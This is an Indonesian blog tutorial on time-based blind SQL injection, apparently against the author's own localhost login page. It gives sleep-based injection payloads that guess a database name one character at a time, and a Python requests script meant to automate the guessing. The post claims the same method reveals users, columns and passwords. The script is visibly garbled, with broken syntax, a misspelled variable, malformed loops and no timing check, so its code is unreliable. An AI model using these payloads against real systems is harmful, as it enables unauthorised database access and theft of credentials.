BLIND SQL Injection
berbasis waktu (time-based)
Sama seperti
contoh kasus sebelumnya, jika belum membaca bisa klik link di bawah sini
hanya saja perbedaannya BLIND kali ini menggunakan waktu atau based time,
menunggu beberapa detik untuk mengetahui benar atau salahnya.
Jadi untuk
membedakan benar atau salah kita memanfaatkan waktu. Misalkan jika pernyataan
benar maka kita tunda eksekusinya 3 detik. Dengan fungsi Sleep(3) dan jika
salah tidak di apa apakan. Dalam kasus ini saya mempunyai database dengan nama ‘blog’
Dengan kode
program di bawah ini :
xyz’OR IF(1=1,
sleep(3), 0) - -
Sekarang kita akan coba Brute Force,
prinsipnya sama dengan blind SQLi. Dengan kode program di bawah ini :
xyz’OR IF(substring(database(),
1, 1)= ‘a’, sleep(3), 0) - -
jika di
submit maka akan muncul “login sedang disable”
Disini bisa
di ketahui bahwa huruf a bukan dari nama depan database target, selanjutnya
bisa langsung mencoba dengan huruf selanjutnya.
xyz’OR IF(substring(database(),
1, 1)= ‘b’, sleep(3), 0) - -
jika di
masukkan ‘b’ akan muncul
Bisa di
lihat di kursor dia akan melambar selama 3 detik, jika. Dia melambat selama 3
detik berarti bisa di ketahui bahwa huruf depan dalam database adalah ‘b’,
selanjutnya lakukan pengimputan huruf ke 2 sampai selesai. Dengan kode program
seperti :
lakukan
hingga selesai.
Ada cara
yang lebih mudah sama seperti metode bling yang sebelumnya dengan menggunakan
script Phyton, jadi akan muncul secara otomatis dan tidak di input satu satu
dalam form login.
Buat program baru, lalu masukkan kode
program seperti ini :
import requests
import sys
import time
url : ‘http://localhost/blog/andmin_login.php’
//ini adalah url targetnya
for c in range 1, 20);
for c in range(0x20,
0x7f);
username = “xyz’ OR IF(BINARY substring(database(), %d, 1) = ‘%s’ , sleep(3),
0) - - “ %(i, (chr(c))
password = “12345” //option saja bebas di isi apa saja
form = {‘username’ :
uisername, ‘password’ :password, ‘submit’ : ‘Login’} //bisa dilihat dari formnya
response = requests.post(url, data =form)
print ‘’
dengan kode program di atas kita bisa mengetahui
nama database secra otomatis, dengan menjalankan terminal/cmd. Maka akan
ditampilkan seperti ini :
Dan selain bisa
tahu nama databasenya, kita juga bisa mengetahui user, kolom, password apa saja
yang ada di dalam database tersebut.
Tidak ada komentar